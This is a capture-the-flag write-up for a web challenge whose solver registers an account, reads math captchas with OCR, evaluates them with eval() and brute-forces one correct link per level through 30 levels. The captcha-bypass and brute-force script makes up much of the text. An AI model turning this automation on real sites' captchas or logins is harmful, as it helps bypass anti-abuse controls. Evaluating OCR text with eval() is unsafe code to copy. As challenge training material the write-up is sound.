Иерархия (Hierarchy)
Иерархия (Hierarchy)
Platform: duckerz | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: brute_force_tree_traversal, captcha_ocr_bypass, math_expression_eval, session_management
Summary
Task: Flask web app with 30 levels of navigation, each with 10 MD5 hash links and math captcha. Solution: Brute-force tree traversal with pytesseract OCR to solve captchas and detect level progression by comparing link sets.
Иерархия (Hierarchy) — duckerz CTF
Description
"Если по Данте кругов ада было 9, то для вас их 69" (If Dante had 9 circles of hell, you have 69)
URL: http://tasks.duckerz.ru:30027
Author: z4vr1k_official
Solves: 5 | Points: 300
Analysis
Reconnaissance
The service is a Flask application on gunicorn with JWT authentication (flask-jwt-extended):
/login— login page/register— new account registration- After login, JWT token is set as
access_token_cookiecookie /index— main page with navigation
Level Structure
After login, /index shows 10 navigation elements, each being an MD5 hash. Clicking any element opens a modal window with a math captcha — an image with an arithmetic expression.
Example captcha expression:
9050749 - 7162698 * 9319275 ** 4
The captcha is available at /static/captchas/{username}.jpg — white text on black background, clean font without distortions.
Progression Mechanics
- User selects one of 10 hashes
- Solves the math captcha (operations:
+,-,*,**) - POST to
/captchawith parameterslink(hash) andcaptcha(answer) - Redirect to
/goto/{hash}, then back to/index
Key Discovery: Tree with One Correct Path
Out of 10 hashes at each level, only ONE is correct:
- Correct hash: after solving captcha,
/indexshows a NEW set of 10 hashes → advance to next level - Incorrect hash:
/indexshows THE SAME hashes → level not passed
The correct hash index is random at each level — no pattern detected. Tested sequence of correct indices: 8, 5, 4, 1, 6, 3, 4, 7, 3, 9, 0, 2, 2, 0, 5, 2, 5, 1, 8, 4, 4, 6, 3, 7, 9, 8, 2, 4, 6.
Hashes are the same for all users — it's a static tree.
Description Deception
The description mentions 69 circles, but there are actually only 30 levels. This is a red herring.
Constraints
- JWT token expires in ~15 minutes — speed is essential
- Captcha updates after each submission (new expression)
Solution
Algorithm
- Register a new user and login
- Get
/indexpage, extract 10 MD5 hashes - For each level:
- Try hashes in order (brute force)
- For each hash: download captcha → OCR → eval → submit
- Check if hashes changed on
/index - If changed — level passed, proceed to next
- If not — try next hash
- After 30 levels, the flag appears in the page HTML
Captcha OCR
The captcha is a clean image (white text on black background), perfect for pytesseract:
python read-only • copy allowedfrom PIL import Image import pytesseract def solve_captcha(image_path): """OCR math expression from captcha image""" img = Image.open(image_path) # PSM 7 = treat image as single text line text = pytesseract.image_to_string(img, config='--psm 7') text = text.strip() # Clean up OCR artifacts text = text.replace('x', '*').replace('X', '*') result = eval(text) return str(result)
Detecting Correct Hash
python read-only • copy alloweddef check_level_changed(session, base_url, old_links): """Check if index page shows new links (= level advanced)""" resp = session.get(f"{base_url}/index") new_links = extract_links(resp.text) return new_links != old_links, new_links
Solution Code
python read-only • copy allowed#!/usr/bin/env python3 """ Duckerz CTF - Hierarchy Solver Brute-force tree traversal with OCR captcha solving Strategy: - 10 links per level, only 1 is correct - Try each link, solve captcha, check if links changed - 30 levels total (not 69 as description claims) """ import requests import re import time from PIL import Image import pytesseract from io import BytesIO BASE_URL = "http://tasks.duckerz.ru:30027" def register_and_login(session, username, password): """Register new user and login, get JWT cookie""" session.post(f"{BASE_URL}/register", data={ "username": username, "password": password }) resp = session.post(f"{BASE_URL}/login", data={ "username": username, "password": password }, allow_redirects=True) return resp def extract_links(html): """Extract MD5 hash links from index page""" # Links are MD5 hashes in navigation items return re.findall(r'[a-f0-9]{32}', html) def solve_captcha(session, username): """Download captcha image, OCR it, evaluate math expression""" resp = session.get(f"{BASE_URL}/static/captchas/{username}.jpg") img = Image.open(BytesIO(resp.content)) # PSM 7 = single text line, clean white-on-black image text = pytesseract.image_to_string(img, config='--psm 7').strip() # Clean OCR artifacts text = text.replace('x', '*').replace('X', '*') text = re.sub(r'[^0-9+\-*\s]', '', text) result = eval(text) return str(result) def submit_captcha(session, link_hash, answer): """Submit captcha answer for given link""" resp = session.post(f"{BASE_URL}/captcha", data={ "link": link_hash, "captcha": answer }, allow_redirects=True) # Follow redirect to /goto/{hash} session.get(f"{BASE_URL}/goto/{link_hash}") return resp def solve(): session = requests.Session() username = f"solver_{int(time.time())}" password = "password123" print(f"[*] Registering as {username}") register_and_login(session, username, password) # Get initial links resp = session.get(f"{BASE_URL}/index") current_links = extract_links(resp.text) level = 0 start_time = time.time() while True: level += 1 print(f"\n[Level {level}] Links: {len(current_links)}") found = False for i, link_hash in enumerate(current_links): # Solve captcha answer = solve_captcha(session, username) print(f" Trying link {i}: {link_hash[:8]}... captcha={answer}") # Submit submit_captcha(session, link_hash, answer) # Check if level changed resp = session.get(f"{BASE_URL}/index") # Check for flag flag_match = re.search(r'DUCKERZ\{[^}]+\}', resp.text) if flag_match: elapsed = time.time() - start_time print(f"\n{'='*50}") print(f"FLAG: {flag_match.group()}") print(f"Solved in {elapsed:.0f}s, {level} levels") return new_links = extract_links(resp.text) if new_links != current_links: print(f" ✓ Correct! (index {i})") current_links = new_links found = True break else: print(f" ✗ Wrong link") if not found: print(f" ERROR: No correct link found at level {level}") break elapsed = time.time() - start_time print(f"\nTotal time: {elapsed:.0f}s") if __name__ == "__main__": solve()
Execution Results
[*] Registering as solver_1739180000
[Level 1] Links: 10
Trying link 0: a1b2c3d4... captcha=12345678
✗ Wrong link
...
Trying link 8: e5f6a7b8... captcha=87654321
✓ Correct! (index 8)
[Level 2] Links: 10
...
✓ Correct! (index 5)
...
[Level 30] Links: 10
...
✓ Correct! (index 6)
==================================================
FLAG: DUCKERZ{REDACTED}
Solved in 334s, 30 levels
Average attempts per level: ~5 (random index among 10).
Lessons
-
Descriptions can lie: "69 circles" turned out to be 30 — always verify empirically.
-
Clean captchas = easy OCR: White text on black background without noise/distortions — pytesseract with
--psm 7handles it perfectly. -
Tree brute force: When there's no way to determine the correct path in advance, trying 10 options at each level (averaging 5 attempts) is a viable strategy.
-
Progress detection: Comparing the set of links before and after submission is a simple and reliable way to determine if we've advanced.
-
Speed is critical: JWT expires in ~15 minutes. 30 levels × ~5 attempts × ~2 seconds = ~300 seconds. Just barely fits.